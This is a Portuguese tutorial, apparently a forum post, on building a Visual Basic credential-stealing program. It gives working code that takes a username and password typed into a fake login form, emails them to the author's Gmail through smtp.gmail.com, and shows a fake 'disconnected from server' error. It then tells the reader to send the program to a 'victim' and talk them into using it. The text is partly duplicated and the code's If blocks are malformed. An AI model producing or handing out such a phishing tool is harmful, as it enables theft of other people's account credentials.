Primeiro você ira precisar de ter:
Visual Basic 2008
Visual Basic 2010
Pode ser o 2008 ou 2010 tanto faz não precisa de ter os dois.
Abra o Visual Basic 2008 ou 2010
E ponha 2 TextBox's, 2 Buttons.
Agora so clica 2 vezes no programa e em cima do Form1
Onde diz Public Form em cima voce digita isto: Imports System.Net.Mail (Digite em cima do Public Form)
Depois clique no Button1 e ponha este codigo
Onde diz Your Gmail password vocês poem o vossa senha do GMAIL e onde diz Your Gmail poe o seu gmail verdadeiro se for falso não funciona.
Repita os mesmos passos onde diz your gmail e your gmail password.(NÃO APAGUE AS ASPAS.)
E pronto ta prontinho você pode alterar as cores etc etc.
Depois é so enviar para a victima e convencer ela ou ele.
Perguntas frequentes:
Porque tenho que por o meu gmail e a senha:
Resposta: Para o programa enviar o usuario e a senha da victima para o seu email.
Visual Basic 2008
Visual Basic 2010
Pode ser o 2008 ou 2010 tanto faz não precisa de ter os dois.
Abra o Visual Basic 2008 ou 2010
E ponha 2 TextBox's, 2 Buttons.
Agora so clica 2 vezes no programa e em cima do Form1
Onde diz Public Form em cima voce digita isto: Imports System.Net.Mail (Digite em cima do Public Form)
Depois clique no Button1 e ponha este codigo
If TextBox1.Text = "" Then MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising") Else End If End if Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New
Net.NetworkCredential("Your Gmail", "Your Gmail Password") 'using gmail
smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New
MailAddress("Your Gmail") mail.To.Add("Your Gmail") mail.Subject =
"Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text &
", " & "Password : " & textbox2.text smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
If Textbox2.text = "" Then
Msgbox("Password Is Mising") Else End If End if Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New
Net.NetworkCredential("Your Gmail", "Your Gmail Password") 'using gmail
smtpServer.Port = 587 smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New
MailAddress("Your Gmail") mail.To.Add("Your Gmail") mail.Subject =
"Username: " & TextBox1.Text mail.Body = "Username : " & TextBox1.Text &
", " & "Password : " & textbox2.text smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")
Repita os mesmos passos onde diz your gmail e your gmail password.(NÃO APAGUE AS ASPAS.)
E pronto ta prontinho você pode alterar as cores etc etc.
Depois é so enviar para a victima e convencer ela ou ele.
Perguntas frequentes:
Porque tenho que por o meu gmail e a senha:
Resposta: Para o programa enviar o usuario e a senha da victima para o seu email.